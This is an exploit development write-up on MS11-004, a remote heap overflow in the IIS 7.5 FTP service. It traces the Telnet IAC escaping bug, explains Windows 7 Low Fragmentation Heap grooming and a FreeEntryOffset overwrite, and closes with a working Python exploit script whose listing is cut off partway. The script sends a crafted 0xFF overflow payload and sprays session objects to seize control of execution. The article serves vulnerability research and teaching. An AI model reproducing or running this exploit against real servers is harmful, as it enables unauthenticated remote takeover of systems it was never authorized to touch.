|
|=-----------------------------------------------------------------------=|
|=-------------=[ The Art of Exploitation ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ Exploiting MS11-004 ]=-----------------------=|
|=----------=[ Microsoft IIS 7.5 remote heap buffer overflow ]=----------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ by redpantz ]=----------------------------=|
|=-----------------------------------------------------------------------=|
--[ Table of Contents
1 - Introduction
2 - The Setup
3 - The Vulnerability
4 - Exploitation Primitives
5 - Enabling the LFH
6 - FreeEntryOffset Overwrite
7 - The Impossible
8 - Conclusion
9 - References
10 - Exploit (thing.py)
--[ 1 - Introduction
Exploitation of security vulnerabilities has greatly increased in
difficulty since the days of the Slammer worm. There have been numerous
exploitation mitigations implemented since the early 2000's. Many of these
mitigations were focused on the Windows heap; such as Safe Unlinking and
Heap Chunk header cookies in Windows XP Service Pack 2 and Safe Linking,
expanded Encoded Chunk headers, Terminate on Corruption, and many others in
Windows Vista/7 [1].
The widely deployed implementation of anti-exploitation technologies has
made gaining code execution from vulnerabilities much more expensive
(notice that I say "expensive" and not "impossible"). By forcing the
attacker to acquire more knowledge and spend expansive amounts of research
time, the vendor has made exploiting these vulnerabilities increasingly
difficult.
This article will take you through the exploitation process (read: EIP) of
a heap overflow vulnerability in Microsoft IIS 7.5 (MS11-004) on a 32-bit,
single-core machine. While the target is a bit unrealistic for the
real-world, and exploit reliability may be a bit suspect, it does suffice
in showing that an "impossible to exploit" vulnerability can be leveraged
for code execution with proper knowledge and sufficient time.
Note: The structure of this article will reflect the steps, in order, taken
when developing the exploit. It differs from the linear nature of the
actual exploit because it is designed to show the thought process during
exploit development. Also, since this article was authored quite some time
after the initial exploitation process, some steps may have been left out
(i.e. forgotten); quite sorry about that.
--[ 2 - The Setup
A proof of concept was released by Matthew Bergin in December 2010 that
stated there existed an unauthenticated Denial of Service (DoS) against
IIS FTP 7.5, which was triggered on Windows 7 Ultimate [3]. The exploit
appeared to lack precision, so it was decided further investigation was
necessary.
After creating a test environment, the exploit was run with a debugger
attached to the FTP process. Examination of the error concluded it wasn't
a DoS and most likely could be used to achieve remote code execution:
BUGCHECK_STR:
APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_\
heap_failure_freelists_corruption
PRIMARY_PROBLEM_CLASS:
ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption
DEFAULT_BUCKET_ID:
ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption
STACK_TEXT:
77f474cb ntdll!RtlpCoalesceFreeBlocks+0x3c9
77f12eed ntdll!RtlpFreeHeap+0x1f4
77f12dd8 ntdll!RtlFreeHeap+0x142
760074d9 KERNELBASE!LocalFree+0x27
72759c59 IISUTIL!BUFFER::FreeMemory+0x14
724ba6e3 ftpsvc!FTP_COMMAND::WriteResponseAndLog+0x8f
724beff8 ftpsvc!FTP_COMMAND::Process+0x243
724b6051 ftpsvc!FTP_SESSION::OnReadCommandCompletion+0x3e2
724b76c7 ftpsvc!FTP_CONTROL_CHANNEL::OnReadCommandCompletion+0x1e4
724b772a ftpsvc!FTP_CONTROL_CHANNEL::AsyncCompletionRoutine+0x17
7248f182 ftpsvc!FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine+0x3c
724a56e6 ftpsvc!THREAD_POOL_DATA::ThreadPoolThread+0x89
724a58c1 ftpsvc!THREAD_POOL_DATA::ThreadPoolThread+0x24
724a4f8a ftpsvc!THREAD_MANAGER::ThreadManagerThread+0x42
76bf1194 kernel32!BaseThreadInitThunk+0xe
77f1b495 ntdll!__RtlUserThreadStart+0x70
77f1b468 ntdll!_RtlUserThreadStart+0x1b
While simple write-4 primitives have been extinct since the Windows XP SP2
days [1], there was a feeling that currently known, but previously unproven
techniques could be leveraged to gain code execution. Adding fuel to the
fire was a statement from Microsoft stating that the issue "is a Denial of
Service vulnerability and remote code execution is unlikely" [4].
With the wheels set in motion, it was time to figure out the vulnerability,
gather exploitation primitives, and subvert the flow of execution by any
means necessary...
--[ 3 - The Vulnerability
The first order of business was to figure out the root cause of the
vulnerability. Understanding the root cause of the vulnerability was
integral into forming a more refined and concise proof of concept that
would serve as a foundation for exploit development.
As stated in the TechNet article, the flaw stemmed from an issue when
processing Telnet IAC codes [5]. The IAC codes permit a Telnet client to
tell the Telnet server various commands within the session. The 0xFF
character denotes these commands. TechNet also describes a process that
requires the 0xFF characters to be 'escaped' when sending a response by
adding an additional 0xFF character.
Now that there is context around the vulnerability, the corresponding crash
dump can be further analyzed. Afterwards we can open the binary in
IDA Pro and attempt to locate the affected code. Unfortunately, after
statically cross-referencing the function calls from the stack trace, there
didn't seem to be any functions that performed actions on Telnet IAC codes.
While breakpoints could be set on any of the functions in the stack trace,
another path was taken.
Since the public symbols named most of the important functions within the
ftpsvc module, it was deemed more useful to search the function list than
set debugger breakpoints. A search was made for any function starting with
'TELNET', resulting in 'TELNET_STREAM_CONTEXT::OnReceivedData' and
'TELNET_STREAM_CONTEXT::OnSendData'. The returned results proved to be
viable after some quick dynamic analysis when sending requests and
receiving responses.
The OnReceivedData function was investigated first, since it was the first
breakpoint that was hit. Essentially the function attempts to locate Telnet
IAC codes (0xFF), escape them, parse the commands and normalize the
request. Unfortunately it doesn't account for seeing two consecutive IAC
codes.
The following is pseudo code for important portions of OnReceivedData:
TELNET_STREAM_CONTEXT::OnReceivedData(char *aBegin,
DATA_STEAM_BUFFER *aDSB, ...)
{
DATA_STREAM_BUFFER *dsb = aDSB;
int len = dsb->BufferLength;
char *begin = dsb->BufferBegin;
char *adjusted = dsb->BufferBegin;
char *end = dsb->BufferEnd;
char *curr = dsb->BufferBegin;
if(len >= 3)
{
//0xF2 == 242 == Data Mark
if(begin[0] == 0xFF && begin[1] == 0xFF && begin[2] == 0xF2)
curr = begin + 3;
}
bool seen_iac = false;
bool seen_subneg = false;
if(curr >= end)
return 0;
while(curr < end)
{
char curr_char = *curr;
//if we've seen an iac code
//look for a corresponding cmd
if(seen_iac)
{
seen_iac = false;
if(seen_subneg)
{
seen_subneg = false;
if(curr_char < 0xF0)
*adjusted++ = curr_char;
}
else
{
if(curr_char != 0xFA)
{
if(curr_char != 0xFF)
{
if(curr_char < 0xF0)
{
PuDbgPrint("Invalid command %c", curr_char)
if(curr_char)
*adjusted++ = curr_char;
}
}
else
{
if(curr_char)
*adjusted++ = curr_char;
}
}
else
{
seen_iac = true;
seen_subneg = true;
}
}
}
else
{
if(curr_char == 0xFF)
seen_iac = true;
else
if(curr_char)
*adjusted++ = curr_char;
}
curr++;
}
dsb->BufferLength = adjusted - begin;
return 0;
}
The documentation states Telnet IAC codes can be used by: "Either end of a
Telnet conversation can locally or remotely enable or disable an option".
The diagram below represents the 3-byte IAC command within the overall
Telnet connection stream:
0x0 0x2
--------------------------------
[IAC][Type of Operation][Option]
--------------------------------
Note: The spec should have been referenced before figuring out the
vulnerability, instead of reading the code and attempting to figure out
what could go wrong.
Although there is code to escape IAC characters, the function does not
except to see two consecutive 0xFF characters in a row. Obviously this
could be a problem, but it didn't appear to contain any code that would
result in overflow. Thinking about the TechNet article recalled the line
'error in the response', so the next logical function to examine was
'OnSendData'.
Shortly into the function it can be seen that OnSendData is looking for
IAC (0xFF) codes:
.text:0E07F375 loc_E07F375:
.text:0E07F375 inc edx
.text:0E07F376 cmp byte ptr [edx], 0FFh
.text:0E07F379 jnz short loc_E07F37C
.text:0E07F37B inc edi
.text:0E07F37C
.text:0E07F37C loc_E07F37C:
.text:0E07F37C cmp edx, ebx
.text:0E07F37E jnz short loc_E07F375 ; count the number
; of "0xFF" characters
The following pseudo code represents the integral pieces of OnSendData:
TELNET_STREAM_CONTEXT::OnSendData(DATA_STREAM_BUFFER *dsb)
{
char *begin = dsb->BufferBegin;
char *start = dsb->BufferBegin;
char *end = dsb->BufferEnd;
int len = dsb->BufferLength;
int iac_count = 0;
if(begin + len == end)
return 0;
//do a total count of the IAC codes
do
{
start++;
if(*start == 0xFF)
iac_count++;
}
while(start < end);
if(!iac_count)
return 0;
for(char *c = begin; c != end; *begin++ = *c)
{
c++;
if(*c == 0xFF)
*begin++ == 0xFF;
}
return 0;
}
As you can see, if the function encounters a 0xFF that is NOT separated by
at least 2-bytes then there is a potential to escape the code more than
once, which will eventually lead to a heap corruption into adjacent memory
based on the size of the request and amount of IAC codes.
For example, if you were to send the string
"\xFF\xBB\xFF\xFF\xFF\xBB\xFF\xFF" to the server, OnReceivedData produces
the values:
1) Before OnReceivedData
a. DSB->BufferLength = 8
b. DSB->Buffer = "\xFF\xBB\xFF\xFF\xFF\xBB\xFF\xFF"
2) After OnReceivedData
a. DSB->BufferLength = 4
b. DSB->Buffer = "\xBB\xFF\xBB\xFF"
Although OnReceivedData attempted to escape the IAC codes, it didn't expect
to see multiple 0xFFs within a certain range; therefore writing the
illegitimate values at an unacceptable range for OnSendData. Using the same
string from above, OnSendData would write multiple 0xFF characters past the
end of the buffer due to de-synchronization in the reading and writing into
the same buffer.
Now that it is known that a certain amount of 0xFF characters can be
written past the end of the buffer, it is time to think about an
exploitation strategy and gather primitives...
--[ 4 - Exploitation Primitives
Exploitation primitives can be thought of as the building blocks of exploit
development. They can be as simple as program functionality that produces a
desired result or as complicated as a 1-to-n byte overflow. The section
will cover many of the primitives used within the exploit.
In-depth knowledge of the underlying operating system usually proves to be
invaluable information when writing exploits. This holds true for the IIS
FTP exploit, as intricate knowledge of the Windows 7 Low Fragmentation Heap
served as the basis for exploitation.
It was decided that the FreeEntryOffset Overwrite Technique [2] would be
used due to the limited ability of the attacker to control the contents of
the overflow. The attack requires the exploiter to enable the low
fragmentation heap, position a chunk under the exploiter's control before a
free chunk (implied same size) within the same UserBlock, write at least 10
bytes past the end of its buffer, and finally make two subsequent requests
that are serviced from the same UserBlock. [Yes, it's just that easy ;)]
The following diagram shows how the FreeEntryOffset is utilized when making
allocations. The first allocation comes from a virgin UserBlock, setting
the FreeEntryOffset to the first two-byte value stored in the current free
chunk. Notice there is no validation when updating the FreeEntryOffset. For
MUCH more information on the LFH and exploitation techniques please see the
references section:
Allocation 1
FreeEntryOffset = 0x10
---------------------------------
|Header|0x10| Free |
---------------------------------
|Header|0x20| Free |
---------------------------------
|Header|0x30| Free |
---------------------------------
Allocation 2
FreeEntryOffset = 0x20
---------------------------------
|Header| Used |
---------------------------------
|Header|0x20| Free |
---------------------------------
|Header|0x30| Free |
---------------------------------
Allocation 3
FreeEntryOffset = 0x30
---------------------------------
|Header| Used |
---------------------------------
|Header| Used |
---------------------------------
|Header|0x30| Free |
---------------------------------
Now look at the allocation sequence if we have the ability to overwrite a
FreeEntryOffset with 0xFFFF:
Allocation 1
FreeEntryOffset = 0x10
---------------------------------
|Header|0x10| Free |
---------------------------------
|Header|0x20| Free |
---------------------------------
|Header|0x30| Free |
---------------------------------
Allocation 2
FreeEntryOffset = 0x20
---------------------------------
|Header|FFFFFFFFFFFFFFF |
---------------------------------
|Header|FFFF| Free |
---------------------------------
|Header|0x30| Free |
---------------------------------
Allocation 3
FreeEntryOffset = 0xFFFF
---------------------------------
|Header| Used |
---------------------------------
|Header| Used |
---------------------------------
|Header|0x30| Free |
---------------------------------
As you can see, if we can overwrite the FreeEntryOffset with a value of
0xFFFF then our next allocation will come from unknown heap memory at
&UserBlock + 8 + (8 * (FreeEntryOffset & 0x7FFF8)) [2]. This may or may
not point to committed memory for the process, but still provides a good
starting point for turning a semi-controlled overwrite to a
fully-controlled overwrite.
--[ 5 - Enabling the LFH
If you have read 'Understanding the Low Fragmentation Heap' [2] you'll know
that it has 'lazy' activation, which means, although it is the default
front-end allocator, it isn't enabled until a certain threshold is
exceeded. The most common trigger for enabling the LFH is 16 consecutive
allocations of the same size.
for i in range(0, 17):
name = "lfh" + str(i)
payload = gen_payload(0x40, "X")
lfhpool.alloc(name, payload)
You would assume that after making the aforementioned requests
LFH->HeapBucket[0x40] would be enabled and all further requests for size
0x40 would be serviced via the LFH; unfortunately this was not the case.
This lead to some memory profiling using Immunity Debugger's '!hippie'
command. After creating and sending many commands and logging heap
allocations, a pattern of 0x100 byte allocations emerged. This was quite
peculiar because requests of 0x40 bytes were being sent. Tracing the
allocations for 0x100 found that the main consumer of the 0x100 byte
allocations was FTP_SESSION::WriteResponseHelper; our binary audit can
finally start!
Note: If some thought would have been put in before brute forcing sizes it
would have been noted that this is a C++ application which means that
request data was most likely kept in some buffer or string class; instead
of being allocated to a specific request size.
Low and behold, looking at the WriteResponseHelper function validated our
speculation. The function used a buffer class that would allocate 0x100
bytes and extend itself when necessary:
.text:0E074E7A mov eax, [ebp+arg_C] ; dword ptr [eax] == request string
.text:0E074E7D push edi
.text:0E074E7E mov edi, [ebp+arg_8]
.text:0E074E81 mov [ebp+vFtpRequest], eax
.text:0E074E87 mov esi, 100h
.text:0E074E8C push esi ; init_size == 0x100
.text:0E074E8D lea eax, [ebp+var_204]
.text:0E074E93 mov [ebp+var_27C], ecx
.text:0E074E99 push eax
.text:0E074E9A lea ecx, [ebp+var_234]
.text:0E074EA0 call ds:STRA::STRA(char *,ulong)
Next, there is a loop to determine if the normalized request string can fit
in the STRA object:
.text:0E074F59 call ds:STRA::QuerySize(void)
.text:0E074F5F add eax, eax
.text:0E074F61 push eax
.text:0E074F62 lea ecx, [ebp+vSTRA1]
.text:0E074F68 call ds:STRA::Resize(ulong)
Finally, the STRA object will append the user request data to the server
response code (for example: "500 "):
.text:0E0750B4 push [ebp+vFtpRequest]
.text:0E0750BA call ds:STRA::Append(char const *) ; this is where the
; resize happens
.text:0E0750C0 mov esi, eax
.text:0E0750C2 cmp esi, ebx
.text:0E0750C4 jl loc_E07515F ; if(!STRA::Apend(vFtpRequest))
; { destory_objects(); }
.text:0E0750CA push offset SubStr ; "\r\n"
.text:0E0750CF lea ecx, [ebp+var_234]
.text:0E0750D5 call ds:STRA::Append(char const *)
Looking into the STRA:Append(char const*) function, a constant value is
added when there is not enough space to append to the current STRA object:
.text:6C9DAAE7 cmp ebx, edx
.text:6C9DAAE9 ja short loc_6C9DAB3D ; if enough room, copy
; and update size
.text:6C9DAAEB jb short loc_6C9DAAF2 ; otherwise add 0x80
; and resize the BUFFER
.text:6C9DAAED cmp [edi+24h], esi
.text:6C9DAAF0 jnb short loc_6C9DAB3D
.text:6C9DAAF2
.text:6C9DAAF2 loc_6C9DAAF2:
.text:6C9DAAF2 xor esi, esi
.text:6C9DAAF4 cmp [ebp+arg_C], esi
.text:6C9DAAF7 jz short loc_6C9DAB00
.text:6C9DAAF9 add eax, 80h ; eax = buffer.size
Finally the buffer is resized if necessary and the old data is copied over:
.text:6C9DAB1B push eax ; uBytes
.text:6C9DAB1C mov ecx, edi
.text:6C9DAB1E call ?Resize@BUFFER@@QAEHI@Z ; BUFFER::Resize(uint)
.text:6C9DAB23 test eax, eax
.text:6C9DAB25 jnz short loc_6C9DAB3D
.text:6C9DAB27 call ds:__imp_GetLastError
.text:6C9DAB2D cmp eax, esi
.text:6C9DAB2F jle short loc_6C9DAB64
.text:6C9DAB31 and eax, 0FFFFh
.text:6C9DAB36 or eax, 80070000h
.text:6C9DAB3B jmp short loc_6C9DAB64
.text:6C9DAB3D
.text:6C9DAB3D loc_6C9DAB3D:
.text:6C9DAB3D
.text:6C9DAB3D mov ebx, [ebp+Size]
.text:6C9DAB40 mov eax, [edi+20h]
.text:6C9DAB43 mov esi, [ebp+arg_8]
.text:6C9DAB46 push ebx ; Size
.text:6C9DAB47 push [ebp+Src] ; Src
.text:6C9DAB4A add eax, esi
.text:6C9DAB4C push eax ; Dst
.text:6C9DAB4D call memcpy
Now that it is known buffers will be sized in multiples of 0x80 (i.e.
0x100, 0x180, 0x200, etc), the LFH can be activated accordingly (by size).
The size of 0x180 was chosen because 0x100 is used for most, if not all,
initial responses, but _any_ valid size could be used.
for i in range(0, LFHENABLESIZE):
name = "lfh" + str(i)
payload = gen_payload(0x180, "X")
lfhpool.alloc(name, payload)
--[ 6 - FreeEntryOffset Overwrite
It has already been verified that the vulnerability results in an overflow
of 0xFF characters into an adjacent heap chunk. Therefore the ability to
enable the LFH for a certain size results in the trivial overwriting of an
adjacent FreeEntryOffset.
For this exploitation technique to work, the LFH must be enabled while
ensuring that the UserBlock maintains a few free chunks to service requests
necessary for exploitation.
Fortunately, this was quite easy to guarantee while on a single core
machine:
for i in range(0, LFHENABLESIZE):
name = "lfh" + str(i)
payload = gen_payload(0x180, "X")
lfhpool.alloc(name, payload)
print "[*] Sending overflow payload"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
buf = "\xff\xbb\xff\xff" * 112 + "\r\n" #ends up allocation 0x180
#(0x188 after chunk header)
print "[*] Sending %d 0xFFs in the whole payload" % countff(buf)
print "[*] Sending Payload...(%d bytes)" % len(buf)
analyze(buf)
s.send(buf)
s.close()
These small portions of code are enough to enable the LFH and overwrite a
free adjacent chunk after the overflow-able piece of memory. Now when
subsequent allocations are made for 0x180 bytes, a bad free entry offset
will be used, providing the application with unexpected memory for
appending the response.
The above describes the following:
FreeEntryOffset = 0x1
0 1 2 3
[UsedChunk][FreeChunk][OverflowedChunk][FreeChunk]
.
.
.
[UnknownMemory @ UserBlock + (0xFFFF * 8)]
Three subsequent allocations will accomplish the following:
1) Allocate FreeChunk at FreeEntryOffset 0x1
2) Allocate OverflowedChunk (which is also free) updating
the FreeEntryOffset to 0xFFFF
3) Allocate memory at UserBlock + 0xFFFF (instead of offset 0x3)
This means the bad FreeEntryOffset will result in data being completely
controlled by the attacker.
Note: Although quite easily achieved on a single-core machine, heap
determinism can be much harder on a multi-core platform. Determinism can
be much more difficult because each core will effectively have its own
UserBlocks, making chunk placement dependent on which thread services
a request. While a multi-core machine doesn't make this vulnerability
completely un-exploitable it does increase the difficulty and decrease
the reliability.
Overwriting the FreeEntryOffset with 0xFFFF has turned a limited heap
overflow into a write-n, fully controlled overflow; since the heap chunk
allocated will be 100% populated with user-controlled data. There is only
one HUGE problem. What should be overwritten? This ended up being the most
challenging and least reliable portion of the exploit and could still be
further refined.
--[ 7 - The Impossible
In all honesty, the previous few steps were basic vulnerability analysis,
rudimentary Python and requisite knowledge of Windows 7 heap internals. The
most difficult and time consuming-portion is explained below.
The techniques described below had varying degrees of reliability and might
not even be the best choice for exploitation. The most valuable knowledge
to take away will be the process of finding an object to overwrite and
seeding those objects remotely within the heap.
As stated previously, figuring out WHAT to overwrite is quite a problem.
Not only does a sufficient object, function, or variable, need to be
unearthed but that item needs to reside in memory where the 'bad'
allocation points to.
A starting point for locating what to overwrite began with the functions'
list. The function list was chosen because public symbols were available,
providing descriptive names for the most important functions. Also, since
the application was written in C++ it was assumed that there would be
virtual functions that stored function pointers somewhere in memory.
The first noticeable item that looked redeeming was FTP_COMMAND class. The
class will most certainly be instantiated when receiving new commands and
also contains a vtable.
.text:0E073B7D public: __thiscall FTP_COMMAND::FTP_COMMAND(void) proc near
.text:0E073B7D mov edi, edi
.text:0E073B7F push ebx
.text:0E073B80 push esi
.text:0E073B81 mov esi, ecx
.text:0E073B83 push edi
.text:0E073B84 lea ecx, [esi+0Ch]
.text:0E073B87 mov dword ptr [esi], offset const FTP_COMMAND::`vftable'
It also contained a function pointer that had the same name as one in our
stack trace, albeit in a different class.
.text:0E073C8D mov dword ptr [ebx+8],
offset FTP_COMMAND::AsyncCompletionRoutine(FTP_ASYNC_CONTEXT *)
Note: If the stack trace would have been examined more thoroughly, it would
have been obvious that this wasn't the correct choice, as you will see
below.
At first glance this seemed to be the perfect fit. A breakpoint was set in
ntdll!RtlpLowFragHeapAllocFromContext() after the initial overflow had
occurred and appeared to be populated with FTP_COMMAND objects!
Unfortunately, there didn't seem to be a remote command that could trigger
a virtual function call within the FTP_COMMAND object at the time of an
attacker's choosing.
Note: Although summed up in one paragraph, this actually took quite some
time to figure out, as the ability to overwrite a function pointer severely
clouded judgment.
Failure led to flailing around in an attempt to populate heap memory with
objects that were remotely user-controlled without authentication.
Eventually, the thought of each FTP_COMMAND having a specific session came
to mind. The FTP_SESSION class was more closely examined (which was also in
the stack trace; although this stack trace would eventually change with
different heap layouts).
The real question was 'Can this function be reliably triggered at given
time X with user input Y?' Some testing took place and indeed, this server
was truly asynchronous ;). FTP, being a lined based protocol, requires an
end of line / end of command delimiter. The server will actually wait to
process the command until it has received the entire line [6].
Perhaps a FTP_SESSION object that is associated with a FTP_COMMAND could be
overwritten, leading to control of a virtual function call. Step tracing
was used throughout FTP_COMMAND::WriteResponseWithErrorTextAndLog and ended
up at the FTP_SESSION::Log() function. This function contained multiple
virtual function calls such as:
.text:0E0761C4 mov ecx, [edi+3D8h]
.text:0E0761CA lea eax, [ebp+var_1B4]
.text:0E0761D0 push eax ; int
.text:0E0761D1 push [ebp+dwFlags] ; CodePage
.text:0E0761D7 mov eax, [ecx]
.text:0E0761D9 call dword ptr [eax+18h]
Now that there is a potential known function pointer in memory to be
overwritten, how can it be called? Surprisingly it was quite simple. By
leaving the trailing '\n' off the end of a command, setting up the heap,
and then sending the end of line delimiter, a call to "call dword ptr
[eax+18h]" with full control of EAX could be triggered.
0:006> r
eax=43434343 ebx=013f2a60 ecx=0145dc98 edx=0104f900 esi=013dfb98
edi=013f2a60
eip=70b661d9 esp=0104f690 ebp=0104f984 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ftpsvc!FTP_SESSION::Log+0x16b:
70b661d9 ff5018 call dword ptr [eax+18h] ds:0023:4343435b=????????
0:006> k
ChildEBP RetAddr
0104f984 70b6a997 ftpsvc!FTP_SESSION::Log+0x16b
0104fa30 70b6ee86
ftpsvc!FTP_COMMAND::WriteResponseWithErrorTextAndLog+0x188
0104fa48 70b66051 ftpsvc!FTP_COMMAND::Process+0xd1
0104fa88 70b676c7 ftpsvc!FTP_SESSION::OnReadCommandCompletion+0x3e2
0104faf0 70b6772a ftpsvc!FTP_CONTROL_CHANNEL::OnReadCommandCompletion+0x1e4
0104fafc 70b3f182 ftpsvc!FTP_CONTROL_CHANNEL::AsyncCompletionRoutine+0x17
0104fb08 70b556e6
ftpsvc!FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine+0x3c
Tracing the function during non-exploitation attempts revealed that the
function was attempting to get the username (if one existed) for logging
purposes.
1b561d9 ff5018 call dword ptr [eax+18h]
ds:0023:71b23a38={ftpsvc!USER_SESSION::QueryUserName (71b37823)}
Note: Again, this wasn't directly obvious by looking at the function. There
was quite a bit of static and dynamic analysis to determine the function's
usefulness.
Although the ability to spray the heap with FTP_COMMAND and FTP_SESSION
objects is possible, it is not as reliable as originally expected. Many
factors such as number of connections, the low fragmentation heap setup
(i.e. number of cores on the server) and many others come into play when
attempting to exploit this vulnerability.
For example, the amount of LFH chunks and the number of connections to the
server ended up having quite an effect on the reliability of the exploit,
which hovered around 60%. These both contributed to which address the
misaligned allocation pointed and the contents of the memory.
--[ 8 - Conclusion
Although Microsoft and many others claimed that this vulnerability would be
impossible to exploit for code execution, this paper shows that with the
correct knowledge and enough determination, impossible turns to difficult.
To recap the exploitation process:
1) Figure out the vulnerability
2) Familiarize oneself with how heap memory is managed
3) Obtain in-depth knowledge of the operating system's memory managers
4) Prime the LFH to a semi-deterministic state
5) Send a request to overflow an adjacent chunk on the LFH
6) Create numerous connections in an attempt to populate the heap with
FTP_SESSION objects; which will create USER_SESSION objects as well
7) Send an unfinished request on the previously created connections
8) Make 3 allocations from the LFH for same size as your overflowable
chunk
a. 1st == Allocate and overflow into next chunk
b. 2nd == FreeEntryOffset will be set to 0xFFFF
c. 3rd == Allocation will (hopefully) point to memory which points
to a FTP_SESSION object containing a USER_SESSION class;
completely overwriting the function pointer in memory
9) Finish the command from the connection pool by sending a trailing
'\n', which in turn calls the OverlappedCompletionRoutine(),
therefore calling the FTP_SESSION::Log() function in the process
10) This will obtain EIP with multiple registers pointing to
user-controlled data. From there ASLR and DEP will need to be
subverted to gain code execution. Take a look at
DATA_STREAM_BUFFER.Size, which will determine how many bytes are
sent back to a user in a response
Although full arbitrary code execution wasn't achieved in the exploit, it
still proves that a remote attacker can potentially gain control over EIP
via a remote unauthenticated FTP connection that can be used to subvert the
security posture of the entire system, instead of limiting the scope to a
denial of service.
The era of simple exploitation is behind us and more exploitation
primitives must be used when developing modern exploits. By having a strong
foundation of operating system knowledge and exploitation techniques, you,
too, can turn impossible bugs into exploitable ones.
--[ 9 - References
[1] - Preventing the exploitation of user mode heap corruption
vulnerabilities
(http://blogs.technet.com/b/srd/archive/2009/08/04/preventing-the-
exploitation-of-user-mode-heap-corruption-vulnerabilities.aspx)
[2] - Understanding the Low Fragmentation Heap
(http://illmatics.com/Understanding_the_LFH.pdf)
[3] - Windows 7 IIS 7.5 FTPSVC Denial Of Service
(http://packetstormsecurity.org/files/96943/
Windows-7-IIS-7.5-FTPSVC-Denial-Of-Service.html)
[4] - Assessing an IIS FTP 7.5 Unauthenticated Denial of Service
Vulnerability
(http://blogs.technet.com/b/srd/archive/2010/12/22/assessing-an-iis-
ftp-7-5-unauthenticated-denial-of-service-vulnerability.aspx)
[5] - The Telnet Protocol
(http://support.microsoft.com/kb/231866)
[6] - Synchronization and Overlapped Input and Output
(http://msdn.microsoft.com/en-us/library/windows/desktop/
ms686358(v=vs.85).aspx)
--[ 10 - Exploit (thing.py)
import socket, sys, os, time
#Connection Info
HOST = "192.168.11.129"
PORT = 21
WAITP = 1
#Good Combo (60% reliability)
#LFHENABLESIZE = 0x78
#CONNCOUNT = 0x103
#=> FTP_SESSION::Log+0x16B
#call dword ptr [eax+18h] ds:0023:2424243c=????????
#The number of allocations to enabled the LFH for our chosen size
LFHENABLESIZE = 0x78
LFHPOOLSIZE = LFHENABLESIZE + 0x3
#Each connection will create X amount of FTP_SESSION objects, which
#contain the virtual function we're trying to overwrite.
CONNCOUNT = 0x103
class SoftAlloc:
s = 0
#Notice that the connection doesn't do a 'self.s.recv()'
#This is a way to restrict un-needed calls to the completionroute
def setup(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((HOST, PORT))
def alloc(self, data):
self.s.send(data)
def complete(self):
self.buf = self.s.recv(1024)
def free(self):
self.s.close()
#Pools are just a way to keep track of connections
#It could have just as easily been an array of sockets
class SoftLeak:
def __init__(self):
self.stag = {}
self.untagged = []
def create_pool(self, num):
for i in range(0, num):
sa = SoftAlloc()
sa.setup()
self.untagged.append(sa)
def clear_pool(self):
while(len(self.untagged) > 0):
sa = self.untagged.pop()
sa.free()
def alloc(self, tag, payload):
if tag in self.stag:
print "Error: Tag in use %s\n" % tag
sys.exit()
if len(self.untagged) > 0:
sa = self.untagged.pop()
self.stag[tag] = sa
sa.alloc(payload)
def realloc(self, tag, payload):
if tag in self.stag:
sa = self.stag[tag]
sa.alloc(payload)
def complete(self, tag):
if tag in self.stag:
sa = self.stag[tag]
sa.complete()
def free(self, tag):
if tag not in self.stag:
print "Error: Unknown tag %s\n" % tag
sys.exit()
sa = self.stag[tag]
del self.stag[tag]
sa.free()
def countff(payload):
count = 0
for x in payload:
if x == "\xff" or x == "\xFF":
count += 1
return count
def analyze(payload):
if len(payload) < 0x100:
return
first = payload[0:0x100]
first_ffs = countff(first)
print "[*] Sending %d 0xFFs in the 1st chunk" % first_ffs
second = payload[0x100:]
second_ffs = countff(second)
print "[*] Sending %d 0xFFs in the 2nd chunk" % second_ffs
#allocations have 0x80 added to them, making sizes < 0x81 hard to allocate
def gen_payload(size, ch):
if size < 0x80:
print "Invalid allocation size"
sys.exit(1)
if size > 0x180 and size < 0x200:
print "WARNING: Only allocating 0x180 bytes"
new_size = size - 0x80
#print "Payload will be %d bytes" % (new_size)
return (ch * new_size)
def main():
#create the initial amount of connections
print "[*] Creating LFHPOOL"
lfhpool = SoftLeak()
lfhpool.create_pool(LFHPOOLSIZE)
time.sleep(WAITP)
######################################################################
#Go through LFHENABLESIZE connections, and make an allocation of a
#certain size. This will enable the LFH for size provided in
#'gen_payload()'
######################################################################
for i in range(0, LFHENABLESIZE):
name = "lfh" + str(i)
payload = gen_payload(0x180, "X")
lfhpool.alloc(name, payload)
#######################################################################
#Send out exploit payload, this should be of the same subsegment as the
#chunks we put in the LFH. It will write 0xFFs over the FreeEntryOffset
#stored in the 1st two bytes of a free chunk in the LFH
#Note: Although it actually sends a payload of 0x1C0, it will only
#allocate 0x180 bytes of data to be used for this transaction
#Note2: This LFH chunk will be freed, hence in the section below
#requiring 3 allocations instead of the two necessary for the
#FreeEntryOffset overwrite
#######################################################################
print "[*] Sending overflow payload"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
data = s.recv(1024)
buf = "\xff\xbb\xff\xff" * 112 + \
"\r\n" #ends up allocation 0x180 (0x188 after chunk header)
print "[*] Sending %d 0xFFs in the whole payload" % countff(buf)
print "[*] Sending Payload...(%d bytes)" % len(buf)
analyze(buf)
s.send(buf)
s.close()
#create the initial amount of connections
print "[*] Creating CONNPOOL"
connpool = SoftLeak()
connpool.create_pool(CONNCOUNT)
time.sleep(WAITP)
#######################################################################
#The LFH UserBlock should look like this
#[previously_allocated_chunk][overwritten_chunk][malicious_chunk]
#1) We have to make an allocation for the chunk that was used in the
#overflow (since it was freed)
#2) 'overwritten_chunk' should be all 0xFFs (including its
#_HEAP_ENTRY header)
#3) the 'malicious_chunk' will use a FreeEntryOffset of 0xFFFF (saved
#from previous allocation)
#
#Now we can allocate a bunch of FTP_CONTROL_CHANNEL objects (see
#ftpsvc.dll) These will be in the heap, so when we add "UserBlocks +
#(0x7FFF8 * 8)" it will point to heap memory that contains a
#FTP_CONTROL_CHANNEL object, which has a vtable as its first 4 bytes
#
#If the trailing '\n' is missing from the ftp command the function
